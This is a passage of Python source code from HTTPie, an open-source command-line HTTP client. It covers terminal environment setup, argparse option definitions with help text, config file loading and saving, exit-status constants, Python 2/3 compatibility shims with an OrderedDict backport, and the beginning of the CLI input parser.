    config_dir = DEFAULT_CONFIG_DIR
    stdin = sys.stdin
    stdin_isatty = stdin.isatty()
    stdin_encoding = None
    stdout = sys.stdout
    stdout_isatty = stdout.isatty()
    stdout_encoding = None
    stderr = sys.stderr
    stderr_isatty = stderr.isatty()
    colors = 256
    if not is_windows:
        import curses
        try:
            curses.setupterm()
            try:
                colors = curses.tigetnum('colors')
            except TypeError:
                # pypy3 (2.4.0)
                colors = curses.tigetnum(b'colors')
        except curses.error:
            pass
        del curses
    else:
        # noinspection PyUnresolvedReferences
        import colorama.initialise
        stdout = colorama.initialise.wrap_stream(
            stdout, convert=None, strip=None,
            autoreset=True, wrap=True
        )
        stderr = colorama.initialise.wrap_stream(
            stderr, convert=None, strip=None,
            autoreset=True, wrap=True
        )
        del colorama

    def __init__(self, **kwargs):
        """
        Use keyword arguments to overwrite
        any of the class attributes for this instance.

        """
        assert all(hasattr(type(self), attr) for attr in kwargs.keys())
        self.__dict__.update(**kwargs)

        # Keyword arguments > stream.encoding > default utf8
        if self.stdin_encoding is None:
            self.stdin_encoding = getattr(
                self.stdin, 'encoding', None) or 'utf8'
        if self.stdout_encoding is None:
            actual_stdout = self.stdout
            if is_windows:
                # noinspection PyUnresolvedReferences
                from colorama import AnsiToWin32
                if isinstance(self.stdout, AnsiToWin32):
                    actual_stdout = self.stdout.wrapped
            self.stdout_encoding = getattr(
                actual_stdout, 'encoding', None) or 'utf8'

    @property
    def config(self):
        if not hasattr(self, '_config'):
            self._config = Config(directory=self.config_dir)
            if self._config.is_new():
                self._config.save()
            else:
                self._config.load()
        return self._config

    def __str__(self):
        defaults = dict(type(self).__dict__)
        actual = dict(defaults)
        actual.update(self.__dict__)
        actual['config'] = self.config
        return repr_dict_nice(dict(
            (key, value)
            for key, value in actual.items()
            if not key.startswith('_'))
        )

    def __repr__(self):
        return '<{0} {1}>'.format(type(self).__name__, str(self))






"""CLI arguments definition.

NOTE: the CLI interface may change before reaching v1.0.

"""
from textwrap import dedent, wrap
# noinspection PyCompatibility
from argparse import (RawDescriptionHelpFormatter, FileType,
                      OPTIONAL, ZERO_OR_MORE, SUPPRESS)

from httpie import __doc__, __version__
from httpie.plugins.builtin import BuiltinAuthPlugin
from httpie.plugins import plugin_manager
from httpie.sessions import DEFAULT_SESSIONS_DIR
from httpie.output.formatters.colors import AVAILABLE_STYLES, DEFAULT_STYLE
from httpie.input import (HTTPieArgumentParser,
                          AuthCredentialsArgType, KeyValueArgType,
                          SEP_PROXY, SEP_CREDENTIALS, SEP_GROUP_ALL_ITEMS,
                          OUT_REQ_HEAD, OUT_REQ_BODY, OUT_RESP_HEAD,
                          OUT_RESP_BODY, OUTPUT_OPTIONS,
                          OUTPUT_OPTIONS_DEFAULT, PRETTY_MAP,
                          PRETTY_STDOUT_TTY_ONLY, SessionNameValidator,
                          readable_file_arg, SSL_VERSION_ARG_MAPPING)


class HTTPieHelpFormatter(RawDescriptionHelpFormatter):
    """A nicer help formatter.

    Help for arguments can be indented and contain new lines.
    It will be de-dented and arguments in the help
    will be separated by a blank line for better readability.


    """
    def __init__(self, max_help_position=6, *args, **kwargs):
        # A smaller indent for args help.
        kwargs['max_help_position'] = max_help_position
        super(HTTPieHelpFormatter, self).__init__(*args, **kwargs)

    def _split_lines(self, text, width):
        text = dedent(text).strip() + '\n\n'
        return text.splitlines()

parser = HTTPieArgumentParser(
    formatter_class=HTTPieHelpFormatter,
    description='%s <http://httpie.org>' % __doc__.strip(),
    epilog=dedent("""
    For every --OPTION there is also a --no-OPTION that reverts OPTION
    to its default value.

    Suggestions and bug reports are greatly appreciated:

        https://github.com/jkbrzt/httpie/issues

    """),
)


#######################################################################
# Positional arguments.
#######################################################################

positional = parser.add_argument_group(
    title='Positional Arguments',
    description=dedent("""
    These arguments come after any flags and in the order they are listed here.
    Only URL is required.

    """)
)
positional.add_argument(
    'method',
    metavar='METHOD',
    nargs=OPTIONAL,
    default=None,
    help="""
    The HTTP method to be used for the request (GET, POST, PUT, DELETE, ...).

    This argument can be omitted in which case HTTPie will use POST if there
    is some data to be sent, otherwise GET:

        $ http example.org               # => GET
        $ http example.org hello=world   # => POST

    """
)
positional.add_argument(
    'url',
    metavar='URL',
    help="""
    The scheme defaults to 'http://' if the URL does not include one.
    (You can override this with: --default-scheme=https)

    You can also use a shorthand for localhost

        $ http :3000                    # => http://localhost:3000
        $ http :/foo                    # => http://localhost/foo

    """
)
positional.add_argument(
    'items',
    metavar='REQUEST_ITEM',
    nargs=ZERO_OR_MORE,
    type=KeyValueArgType(*SEP_GROUP_ALL_ITEMS),
    help=r"""
    Optional key-value pairs to be included in the request. The separator used
    determines the type:

    ':' HTTP headers:

        Referer:http://httpie.org  Cookie:foo=bar  User-Agent:bacon/1.0

    '==' URL parameters to be appended to the request URI:

        search==httpie

    '=' Data fields to be serialized into a JSON object (with --json, -j)
        or form data (with --form, -f):

        name=HTTPie  language=Python  description='CLI HTTP client'

    ':=' Non-string JSON data fields (only with --json, -j):

        awesome:=true  amount:=42  colors:='["red", "green", "blue"]'

    '@' Form file fields (only with --form, -f):

        cs@~/Documents/CV.pdf

    '=@' A data field like '=', but takes a file path and embeds its content:

         essay=@Documents/essay.txt

    ':=@' A raw JSON field like ':=', but takes a file path and embeds its content:

        package:=@./package.json

    You can use a backslash to escape a colliding separator in the field name:

        field-name-with\:colon=value

    """
)


#######################################################################
# Content type.
#######################################################################

content_type = parser.add_argument_group(
    title='Predefined Content Types',
    description=None
)

content_type.add_argument(
    '--json', '-j',
    action='store_true',
    help="""
    (default) Data items from the command line are serialized as a JSON object.
    The Content-Type and Accept headers are set to application/json
    (if not specified).

    """
)
content_type.add_argument(
    '--form', '-f',
    action='store_true',
    help="""
    Data items from the command line are serialized as form fields.

    The Content-Type is set to application/x-www-form-urlencoded (if not
    specified). The presence of any file fields results in a
    multipart/form-data request.

    """
)


#######################################################################
# Output processing
#######################################################################

output_processing = parser.add_argument_group(title='Output Processing')

output_processing.add_argument(
    '--pretty',
    dest='prettify',
    default=PRETTY_STDOUT_TTY_ONLY,
    choices=sorted(PRETTY_MAP.keys()),
    help="""
    Controls output processing. The value can be "none" to not prettify
    the output (default for redirected output), "all" to apply both colors
    and formatting (default for terminal output), "colors", or "format".

    """
)
output_processing.add_argument(
    '--style', '-s',
    dest='style',
    metavar='STYLE',
    default=DEFAULT_STYLE,
    choices=AVAILABLE_STYLES,
    help="""
    Output coloring style (default is "{default}"). One of:

{available}

    For this option to work properly, please make sure that the $TERM
    environment variable is set to "xterm-256color" or similar
    (e.g., via `export TERM=xterm-256color' in your ~/.bashrc).

    """.format(
        default=DEFAULT_STYLE,
        available='\n'.join(
            '{0}{1}'.format(8 * ' ', line.strip())
            for line in wrap(', '.join(sorted(AVAILABLE_STYLES)), 60)
        ).rstrip(),
    )
)


#######################################################################
# Output options
#######################################################################
output_options = parser.add_argument_group(title='Output Options')

output_options.add_argument(
    '--print', '-p',
    dest='output_options',
    metavar='WHAT',
    help="""
    String specifying what the output should contain:

        '{req_head}' request headers
        '{req_body}' request body
        '{res_head}' response headers
        '{res_body}' response body

    The default behaviour is '{default}' (i.e., the response headers and body
    is printed), if standard output is not redirected. If the output is piped
    to another program or to a file, then only the response body is printed
    by default.

    """
    .format(
        req_head=OUT_REQ_HEAD,
        req_body=OUT_REQ_BODY,
        res_head=OUT_RESP_HEAD,
        res_body=OUT_RESP_BODY,
        default=OUTPUT_OPTIONS_DEFAULT,
    )
)
output_options.add_argument(
    '--headers', '-h',
    dest='output_options',
    action='store_const',
    const=OUT_RESP_HEAD,
    help="""
    Print only the response headers. Shortcut for --print={0}.

    """
    .format(OUT_RESP_HEAD)
)
output_options.add_argument(
    '--body', '-b',
    dest='output_options',
    action='store_const',
    const=OUT_RESP_BODY,
    help="""
    Print only the response body. Shortcut for --print={0}.

    """
    .format(OUT_RESP_BODY)
)

output_options.add_argument(
    '--verbose', '-v',
    dest='verbose',
    action='store_true',
    help="""
    Verbose output. Print the whole request as well as the response. Also print
    any intermediary requests/responses (such as redirects).
    It's a shortcut for: --all --print={0}

    """
    .format(''.join(OUTPUT_OPTIONS))
)
output_options.add_argument(
    '--all',
    default=False,
    action='store_true',
    help="""
    By default, only the final request/response is shown. Use this flag to show
    any intermediary requests/responses as well. Intermediary requests include
    followed redirects (with --follow), the first unauthorized request when
    Digest auth is used (--auth=digest), etc.

    """
)
output_options.add_argument(
    '--history-print', '-P',
    dest='output_options_history',
    metavar='WHAT',
    help="""
    The same as --print, -p but applies only to intermediary requests/responses
    (such as redirects) when their inclusion is enabled with --all. If this
    options is not specified, then they are formatted the same way as the final
    response.

    """
)
output_options.add_argument(
    '--stream', '-S',
    action='store_true',
    default=False,
    help="""
    Always stream the output by line, i.e., behave like `tail -f'.

    Without --stream and with --pretty (either set or implied),
    HTTPie fetches the whole response before it outputs the processed data.

    Set this option when you want to continuously display a prettified
    long-lived response, such as one from the Twitter streaming API.

    It is useful also without --pretty: It ensures that the output is flushed
    more often and in smaller chunks.

    """
)
output_options.add_argument(
    '--output', '-o',
    type=FileType('a+b'),
    dest='output_file',
    metavar='FILE',
    help="""
    Save output to FILE instead of stdout. If --download is also set, then only
    the response body is saved to FILE. Other parts of the HTTP exchange are
    printed to stderr.

    """

)

output_options.add_argument(
    '--download', '-d',
    action='store_true',
    default=False,
    help="""
    Do not print the response body to stdout. Rather, download it and store it
    in a file. The filename is guessed unless specified with --output
    [filename]. This action is similar to the default behaviour of wget.

    """
)

output_options.add_argument(
    '--continue', '-c',
    dest='download_resume',
    action='store_true',
    default=False,
    help="""
    Resume an interrupted download. Note that the --output option needs to be
    specified as well.

    """
)


#######################################################################
# Sessions
#######################################################################

sessions = parser.add_argument_group(title='Sessions')\
                 .add_mutually_exclusive_group(required=False)

session_name_validator = SessionNameValidator(
    'Session name contains invalid characters.'
)

sessions.add_argument(
    '--session',
    metavar='SESSION_NAME_OR_PATH',
    type=session_name_validator,
    help="""
    Create, or reuse and update a session. Within a session, custom headers,
    auth credential, as well as any cookies sent by the server persist between
    requests.

    Session files are stored in:

        {session_dir}/<HOST>/<SESSION_NAME>.json.

    """
    .format(session_dir=DEFAULT_SESSIONS_DIR)
)
sessions.add_argument(
    '--session-read-only',
    metavar='SESSION_NAME_OR_PATH',
    type=session_name_validator,
    help="""
    Create or read a session without updating it form the request/response
    exchange.

    """
)

#######################################################################
# Authentication
#######################################################################

# ``requests.request`` keyword arguments.
auth = parser.add_argument_group(title='Authentication')
auth.add_argument(
    '--auth', '-a',
    metavar='USER[:PASS]',
    type=AuthCredentialsArgType(SEP_CREDENTIALS),
    help="""
    If only the username is provided (-a username), HTTPie will prompt
    for the password.

    """,
)

_auth_plugins = plugin_manager.get_auth_plugins()
auth.add_argument(
    '--auth-type', '-A',
    choices=[plugin.auth_type for plugin in _auth_plugins],
    default=_auth_plugins[0].auth_type,
    help="""
    The authentication mechanism to be used. Defaults to "{default}".

    {types}

    """
    .format(default=_auth_plugins[0].auth_type, types='\n    '.join(
        '"{type}": {name}{package}{description}'.format(
            type=plugin.auth_type,
            name=plugin.name,
            package=(
                '' if issubclass(plugin, BuiltinAuthPlugin)
                else ' (provided by %s)' % plugin.package_name
            ),
            description=(
                '' if not plugin.description else
                '\n      ' + ('\n      '.join(wrap(plugin.description)))
            )
        )
        for plugin in _auth_plugins
    )),
)


#######################################################################
# Network
#######################################################################

network = parser.add_argument_group(title='Network')

network.add_argument(
    '--proxy',
    default=[],
    action='append',
    metavar='PROTOCOL:PROXY_URL',
    type=KeyValueArgType(SEP_PROXY),
    help="""
    String mapping protocol to the URL of the proxy
    (e.g. http:http://foo.bar:3128). You can specify multiple proxies with
    different protocols.

    """
)
network.add_argument(
    '--follow', '-F',
    default=False,
    action='store_true',
    help="""
    Follow 30x Location redirects.

    """
)

network.add_argument(
    '--max-redirects',
    type=int,
    default=30,
    help="""
    By default, requests have a limit of 30 redirects (works with --follow).

    """
)

network.add_argument(
    '--timeout',
    type=float,
    default=30,
    metavar='SECONDS',
    help="""
    The connection timeout of the request in seconds. The default value is
    30 seconds.

    """
)
network.add_argument(
    '--check-status',
    default=False,
    action='store_true',
    help="""
    By default, HTTPie exits with 0 when no network or other fatal errors
    occur. This flag instructs HTTPie to also check the HTTP status code and
    exit with an error if the status indicates one.

    When the server replies with a 4xx (Client Error) or 5xx (Server Error)
    status code, HTTPie exits with 4 or 5 respectively. If the response is a
    3xx (Redirect) and --follow hasn't been set, then the exit status is 3.
    Also an error message is written to stderr if stdout is redirected.

    """
)


#######################################################################
# SSL
#######################################################################

ssl = parser.add_argument_group(title='SSL')
ssl.add_argument(
    '--verify',
    default='yes',
    help="""
    Set to "no" to skip checking the host's SSL certificate. You can also pass
    the path to a CA_BUNDLE file for private certs. You can also set the
    REQUESTS_CA_BUNDLE environment variable. Defaults to "yes".

    """
)
ssl.add_argument(
    '--ssl',  # TODO: Maybe something more general, such as --secure-protocol?
    dest='ssl_version',
    choices=list(sorted(SSL_VERSION_ARG_MAPPING.keys())),
    help="""
    The desired protocol version to use. This will default to
    SSL v2.3 which will negotiate the highest protocol that both
    the server and your installation of OpenSSL support. Available protocols
    may vary depending on OpenSSL installation (only the supported ones
    are shown here).

    """
)
ssl.add_argument(
    '--cert',
    default=None,
    type=readable_file_arg,
    help="""
    You can specify a local cert to use as client side SSL certificate.
    This file may either contain both private key and certificate or you may
    specify --cert-key separately.

    """
)

ssl.add_argument(
    '--cert-key',
    default=None,
    type=readable_file_arg,
    help="""
    The private key to use with SSL. Only needed if --cert is given and the
    certificate file does not contain the private key.

    """
)

#######################################################################
# Troubleshooting
#######################################################################

troubleshooting = parser.add_argument_group(title='Troubleshooting')

troubleshooting.add_argument(
    '--ignore-stdin', '-I',
    action='store_true',
    default=False,
    help="""
    Do not attempt to read stdin.

    """
)
troubleshooting.add_argument(
    '--help',
    action='help',
    default=SUPPRESS,
    help="""
    Show this help message and exit.

    """
)
troubleshooting.add_argument(
    '--version',
    action='version',
    version=__version__,
    help="""
    Show version and exit.

    """
)
troubleshooting.add_argument(
    '--traceback',
    action='store_true',
    default=False,
    help="""
    Prints the exception traceback should one occur.

    """
)
troubleshooting.add_argument(
    '--default-scheme',
    default="http",
    help="""
    The default scheme to use if not specified in the URL.

    """
)
troubleshooting.add_argument(
    '--debug',
    action='store_true',
    default=False,
    help="""
    Prints the exception traceback should one occur, as well as other
    information useful for debugging HTTPie itself and for reporting bugs.

    """
)






import os
import json
import errno

from httpie import __version__
from httpie.compat import is_windows


DEFAULT_CONFIG_DIR = str(os.environ.get(
    'HTTPIE_CONFIG_DIR',
    os.path.expanduser('~/.httpie') if not is_windows else
    os.path.expandvars(r'%APPDATA%\\httpie')
))


class BaseConfigDict(dict):

    name = None
    helpurl = None
    about = None

    def __getattr__(self, item):
        return self[item]

    def _get_path(self):
        """Return the config file path without side-effects."""
        raise NotImplementedError()

    @property
    def path(self):
        """Return the config file path creating basedir, if needed."""
        path = self._get_path()
        try:
            os.makedirs(os.path.dirname(path), mode=0o700)
        except OSError as e:
            if e.errno != errno.EEXIST:
                raise
        return path

    def is_new(self):
        return not os.path.exists(self._get_path())

    def load(self):
        try:
            with open(self.path, 'rt') as f:
                try:
                    data = json.load(f)
                except ValueError as e:
                    raise ValueError(
                        'Invalid %s JSON: %s [%s]' %
                        (type(self).__name__, str(e), self.path)
                    )
                self.update(data)
        except IOError as e:
            if e.errno != errno.ENOENT:
                raise

    def save(self):
        self['__meta__'] = {
            'httpie': __version__
        }
        if self.helpurl:
            self['__meta__']['help'] = self.helpurl

        if self.about:
            self['__meta__']['about'] = self.about

        with open(self.path, 'w') as f:
            json.dump(self, f, indent=4, sort_keys=True, ensure_ascii=True)
            f.write('\n')

    def delete(self):
        try:
            os.unlink(self.path)
        except OSError as e:
            if e.errno != errno.ENOENT:
                raise


class Config(BaseConfigDict):

    name = 'config'
    helpurl = 'https://github.com/jkbrzt/httpie#config'
    about = 'HTTPie configuration file'

    DEFAULTS = {
        'default_options': []
    }

    def __init__(self, directory=DEFAULT_CONFIG_DIR):
        super(Config, self).__init__()
        self.update(self.DEFAULTS)
        self.directory = directory

    def load(self):
        super(Config, self).load()
        self._migrate_implicit_content_type()

    def _get_path(self):
        return os.path.join(self.directory, self.name + '.json')

    def _migrate_implicit_content_type(self):
        """Migrate the removed implicit_content_type config option"""
        try:
            implicit_content_type = self.pop('implicit_content_type')
        except KeyError:
            pass
        else:
            if implicit_content_type == 'form':
                self['default_options'].insert(0, '--form')
            self.save()
            self.load()






"""
HTTPie - a CLI, cURL-like tool for humans.

"""
__author__ = 'Jakub Roztocil'
__version__ = '0.9.6'
__licence__ = 'BSD'


class ExitStatus:
    """Exit status code constants."""
    OK = 0
    ERROR = 1
    ERROR_TIMEOUT = 2
    ERROR_TOO_MANY_REDIRECTS = 6

    # Used only when requested with --check-status:
    ERROR_HTTP_3XX = 3
    ERROR_HTTP_4XX = 4
    ERROR_HTTP_5XX = 5


EXIT_STATUS_LABELS = dict(
    (value, key)
    for key, value in ExitStatus.__dict__.items()
    if key.isupper()
)






"""
Python 2.6, 2.7, and 3.x compatibility.

"""
import sys


is_py2 = sys.version_info[0] == 2
is_py26 = sys.version_info[:2] == (2, 6)
is_py27 = sys.version_info[:2] == (2, 7)
is_py3 = sys.version_info[0] == 3
is_pypy = 'pypy' in sys.version.lower()
is_windows = 'win32' in str(sys.platform).lower()


if is_py2:
    # noinspection PyShadowingBuiltins
    bytes = str
    # noinspection PyUnresolvedReferences,PyShadowingBuiltins
    str = unicode
elif is_py3:
    # noinspection PyShadowingBuiltins
    str = str
    # noinspection PyShadowingBuiltins
    bytes = bytes


try:  # pragma: no cover
    # noinspection PyUnresolvedReferences,PyCompatibility
    from urllib.parse import urlsplit
except ImportError:  # pragma: no cover
    # noinspection PyUnresolvedReferences,PyCompatibility
    from urlparse import urlsplit

try:  # pragma: no cover
    # noinspection PyCompatibility
    from urllib.request import urlopen
except ImportError:  # pragma: no cover
    # noinspection PyCompatibility,PyUnresolvedReferences
    from urllib2 import urlopen

try:  # pragma: no cover
    from collections import OrderedDict
except ImportError:  # pragma: no cover
    # Python 2.6 OrderedDict class, needed for headers, parameters, etc .###
    # <https://pypi.python.org/pypi/ordereddict/1.1>
    # noinspection PyCompatibility,PyUnresolvedReferences
    from UserDict import DictMixin

    # noinspection PyShadowingBuiltins,PyCompatibility
    class OrderedDict(dict, DictMixin):
        # Copyright (c) 2009 Raymond Hettinger
        #
        # Permission is hereby granted, free of charge, to any person
        # obtaining a copy of this software and associated documentation files
        # (the "Software"), to deal in the Software without restriction,
        # including without limitation the rights to use, copy, modify, merge,
        # publish, distribute, sublicense, and/or sell copies of the Software,
        # and to permit persons to whom the Software is furnished to do so,
        # subject to the following conditions:
        #
        #     The above copyright notice and this permission notice shall be
        #     included in all copies or substantial portions of the Software.
        #
        #     THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
        #     EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
        #     OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
        #     NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
        #     HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
        #     WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
        #     FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
        #     OTHER DEALINGS IN THE SOFTWARE.
        # noinspection PyMissingConstructor
        def __init__(self, *args, **kwds):
            if len(args) > 1:
                raise TypeError('expected at most 1 arguments, got %d'
                                % len(args))
            try:
                self.__end
            except AttributeError:
                self.clear()
            self.update(*args, **kwds)

        def clear(self):
            self.__end = end = []
            # noinspection PyUnusedLocal
            end += [None, end, end]     # sentinel node for doubly linked list
            self.__map = {}             # key --> [key, prev, next]
            dict.clear(self)

        def __setitem__(self, key, value):
            if key not in self:
                end = self.__end
                curr = end[1]
                curr[2] = end[1] = self.__map[key] = [key, curr, end]
            dict.__setitem__(self, key, value)

        def __delitem__(self, key):
            dict.__delitem__(self, key)
            key, prev, next = self.__map.pop(key)
            prev[2] = next
            next[1] = prev

        def __iter__(self):
            end = self.__end
            curr = end[2]
            while curr is not end:
                yield curr[0]
                curr = curr[2]

        def __reversed__(self):
            end = self.__end
            curr = end[1]
            while curr is not end:
                yield curr[0]
                curr = curr[1]

        def popitem(self, last=True):
            if not self:
                raise KeyError('dictionary is empty')
            if last:
                # noinspection PyUnresolvedReferences
                key = reversed(self).next()
            else:
                key = iter(self).next()
            value = self.pop(key)
            return key, value

        def __reduce__(self):
            items = [[k, self[k]] for k in self]
            tmp = self.__map, self.__end
            del self.__map, self.__end
            inst_dict = vars(self).copy()
            self.__map, self.__end = tmp
            if inst_dict:
                return self.__class__, (items,), inst_dict
            return self.__class__, (items,)

        def keys(self):
            return list(self)

        setdefault = DictMixin.setdefault
        update = DictMixin.update
        pop = DictMixin.pop
        values = DictMixin.values
        items = DictMixin.items
        iterkeys = DictMixin.iterkeys
        itervalues = DictMixin.itervalues
        iteritems = DictMixin.iteritems

        def __repr__(self):
            if not self:
                return '%s()' % (self.__class__.__name__,)
            return '%s(%r)' % (self.__class__.__name__, self.items())

        def copy(self):
            return self.__class__(self)

        # noinspection PyMethodOverriding
        @classmethod
        def fromkeys(cls, iterable, value=None):
            d = cls()
            for key in iterable:
                d[key] = value
            return d

        def __eq__(self, other):
            if isinstance(other, OrderedDict):
                if len(self) != len(other):
                    return False
                for p, q in zip(self.items(), other.items()):
                    if p != q:
                        return False
                return True
            return dict.__eq__(self, other)

        def __ne__(self, other):
            return not self == other






"""Parsing and processing of CLI input (args, auth credentials, files, stdin).

"""
import os
import ssl
import sys
import re
import errno
import mimetypes
import getpass
from io import BytesIO
from collections import namedtuple, Iterable
# noinspection PyCompatibility
from argparse import ArgumentParser, ArgumentTypeError, ArgumentError

# TODO: Use MultiDict for headers once added to `requests`.
# https://github.com/jkbrzt/httpie/issues/130
from requests.structures import CaseInsensitiveDict

from httpie.compat import OrderedDict, urlsplit, str, is_pypy, is_py27
from httpie.sessions import VALID_SESSION_NAME_PATTERN
from httpie.utils import load_json_preserve_order


# ALPHA *( ALPHA / DIGIT / "+" / "-" / "." )
# <http://tools.ietf.org/html/rfc3986#section-3.1>
URL_SCHEME_RE = re.compile(r'^[a-z][a-z0-9.+-]*://', re.IGNORECASE)

HTTP_POST = 'POST'
HTTP_GET = 'GET'


# Various separators used in args
SEP_HEADERS = ':'
SEP_HEADERS_EMPTY = ';'
SEP_CREDENTIALS = ':'
SEP_PROXY = ':'
SEP_DATA = '='
SEP_DATA_RAW_JSON = ':='
SEP_FILES = '@'
SEP_DATA_EMBED_FILE = '=@'
SEP_DATA_EMBED_RAW_JSON_FILE = ':=@'
SEP_QUERY = '=='

# Separators that become request data
SEP_GROUP_DATA_ITEMS = frozenset([
    SEP_DATA,
    SEP_DATA_RAW_JSON,
    SEP_FILES,
    SEP_DATA_EMBED_FILE,
    SEP_DATA_EMBED_RAW_JSON_FILE
])

# Separators for items whose value is a filename to be embedded
SEP_GROUP_DATA_EMBED_ITEMS = frozenset([
    SEP_DATA_EMBED_FILE,
    SEP_DATA_EMBED_RAW_JSON_FILE,
])

# Separators for raw JSON items
SEP_GROUP_RAW_JSON_ITEMS = frozenset([
    SEP_DATA_RAW_JSON,
    SEP_DATA_EMBED_RAW_JSON_FILE,
])

# Separators allowed in ITEM arguments
SEP_GROUP_ALL_ITEMS = frozenset([
    SEP_HEADERS,
    SEP_HEADERS_EMPTY,
    SEP_QUERY,
    SEP_DATA,
    SEP_DATA_RAW_JSON,
    SEP_FILES,
    SEP_DATA_EMBED_FILE,
    SEP_DATA_EMBED_RAW_JSON_FILE,
])


# Output options
OUT_REQ_HEAD = 'H'
OUT_REQ_BODY = 'B'
OUT_RESP_HEAD = 'h'
OUT_RESP_BODY = 'b'

OUTPUT_OPTIONS = frozenset([
    OUT_REQ_HEAD,
    OUT_REQ_BODY,
    OUT_RESP_HEAD,
    OUT_RESP_BODY
])

# Pretty
PRETTY_MAP = {
    'all': ['format', 'colors'],
    'colors': ['colors'],
    'format': ['format'],
    'none': []
}
PRETTY_STDOUT_TTY_ONLY = object()


# Defaults
OUTPUT_OPTIONS_DEFAULT = OUT_RESP_HEAD + OUT_RESP_BODY
OUTPUT_OPTIONS_DEFAULT_STDOUT_REDIRECTED = OUT_RESP_BODY


SSL_VERSION_ARG_MAPPING = {
    'ssl2.3': 'PROTOCOL_SSLv23',
    'ssl3': 'PROTOCOL_SSLv3',
    'tls1': 'PROTOCOL_TLSv1',
    'tls1.1': 'PROTOCOL_TLSv1_1',
    'tls1.2': 'PROTOCOL_TLSv1_2',
}
SSL_VERSION_ARG_MAPPING = dict(
    (cli_arg, getattr(ssl, ssl_constant))
    for cli_arg, ssl_constant in SSL_VERSION_ARG_MAPPING.items()
    if hasattr(ssl, ssl_constant)
)


class HTTPieArgumentParser(ArgumentParser):
    """Adds additional logic to `argparse.ArgumentParser`.

    Handles all input (CLI args, file args, stdin), applies defaults,
    and performs extra validation.

    """

    def __init__(self, *args, **kwargs):
        kwargs['add_help'] = False
        super(HTTPieArgumentParser, self).__init__(*args, **kwargs)

    # noinspection PyMethodOverriding
    def parse_args(self, env, args=None, namespace=None):

        self.env = env
        self.args, no_options = super(HTTPieArgumentParser, self)\
            .parse_known_args(args, namespace)

        if self.args.debug:
            self.args.traceback = True

        # Arguments processing and environment setup.
        self._apply_no_options(no_options)
        self._validate_download_options()
        self._setup_standard_streams()
        self._process_output_options()
        self._process_pretty_options()
        self._guess_method()
        self._parse_items()
        if not self.args.ignore_stdin and not env.stdin_isatty:
            self._body_from_file(self.env.stdin)
        if not URL_SCHEME_RE.match(self.args.url):
            scheme = self.args.default_scheme + "://"

            # See if we're using curl style shorthand for localhost (:3000/foo)
            shorthand = re.match(r'^:(?!:)(\d*)(/?.*)$', self.args.url)
            if shorthand:
                port = shorthand.group(1)
                rest = shorthand.group(2)
                self.args.url = scheme + 'localhost'
                if port:
                    self.args.url += ':' + port
                self.args.url += rest
            else:
                self.args.url = scheme + self.args.url
        self._process_auth()

        return self.args

    # noinspection PyShadowingBuiltins
    def _print_message(self, message, file=None):
        # Sneak in our stderr/stdout.
        file = {
            sys.stdout: self.env.stdout,
            sys.stderr: self.env.stderr,
            None: self.env.stderr
        }.get(file, file)
        if not hasattr(file, 'buffer') and isinstance(message, str):
            message = message.encode(self.env.stdout_encoding)
        super(HTTPieArgumentParser, self)._print_message(message, file)

    def _setup_standard_streams(self):
        """
        Modify `env.stdout` and `env.stdout_isatty` based on args, if needed.

        """
        self.args.output_file_specified = bool(self.args.output_file)
        if self.args.download:
            # FIXME: Come up with a cleaner solution.
            if not self.args.output_file and not self.env.stdout_isatty:
                # Use stdout as the download output file.
                self.args.output_file = self.env.stdout
            # With `--download`, we write everything that would normally go to
            # `stdout` to `stderr` instead. Let's replace the stream so that
            # we don't have to use many `if`s throughout the codebase.
            # The response body will be treated separately.
            self.env.stdout = self.env.stderr
            self.env.stdout_isatty = self.env.stderr_isatty
        elif self.args.output_file:
            # When not `--download`ing, then `--output` simply replaces
            # `stdout`. The file is opened for appending, which isn't what
            # we want in this case.
            self.args.output_file.seek(0)
            try:
                self.args.output_file.truncate()
            except IOError as e:
                if e.errno == errno.EINVAL:
                    # E.g. /dev/null on Linux.
                    pass
                else:
                    raise
            self.env.stdout = self.args.output_file
            self.env.stdout_isatty = False

    def _process_auth(self):
        """
        If only a username provided via --auth, then ask for a password.
        Or, take credentials from the URL, if provided.

        """
        url = urlsplit(self.args.url)

        if self.args.auth:
            if not self.args.auth.has_password():
                # Stdin already read (if not a tty) so it's save to prompt.
                if self.args.ignore_stdin:
                    self.error('Unable to prompt for passwords because'
                               ' --ignore-stdin is set.')
                self.args.auth.prompt_password(url.netloc)

        elif url.username is not None:
            # Handle http://username:password@hostname/
            username = url.username
            password = url.password or ''
            self.args.auth = AuthCredentials(
                key=username,
                value=password,
                sep=SEP_CREDENTIALS,
                orig=SEP_CREDENTIALS.join([username, password])
            )

    def _apply_no_options(self, no_options):
        """For every `--no-OPTION` in `no_options`, set `args.OPTION` to
        its default value. This allows for un-setting of options, e.g.,
        specified in config.

        """
        invalid = []

        for option in no_options:
            if not option.startswith('--no-'):
                invalid.append(option)
                continue

            # --no-option => --option
            inverted = '--' + option[5:]
            for action in self._actions:
                if inverted in action.option_strings:
                    setattr(self.args, action.dest, action.default)
                    break
            else:
                invalid.append(option)

        if invalid:
            msg = 'unrecognized arguments: %s'
            self.error(msg % ' '.join(invalid))

    def _body_from_file(self, fd):
        """There can only be one source of request data.

        Bytes are always read.

        """
        if self.args.data:
            self.error('Request body (from stdin or a file) and request '
                       'data (key=value) cannot be mixed.')
        self.args.data = getattr(fd, 'buffer', fd).read()

    def _guess_method(self):
        """Set `args.method` if not specified to either POST or GET
        based on whether the request has data or not.

        """
        if self.args.method is None:
            # Invoked as `http URL'.
            assert not self.args.items
            if not self.args.ignore_stdin and not self.env.stdin_isatty:
                self.args.method = HTTP_POST
            else:
                self.args.method = HTTP_GET

        # FIXME: False positive, e.g., "localhost" matches but is a valid URL.
        elif not re.match('^[a-zA-Z]+$', self.args.method):
            # Invoked as `http URL item+'. The URL is now in `args.method`
            # and the first ITEM is now incorrectly in `args.url`.
            try:
                # Parse the URL as an ITEM and store it as the first ITEM arg.
                self.args.items.insert(0, KeyValueArgType(
                    *SEP_GROUP_ALL_ITEMS).__call__(self.args.url))

            except ArgumentTypeError as e:
                if self.args.traceback:
                    raise
                self.error(e.args[0])

            else:
                # Set the URL correctly
                self.args.url = self.args.method
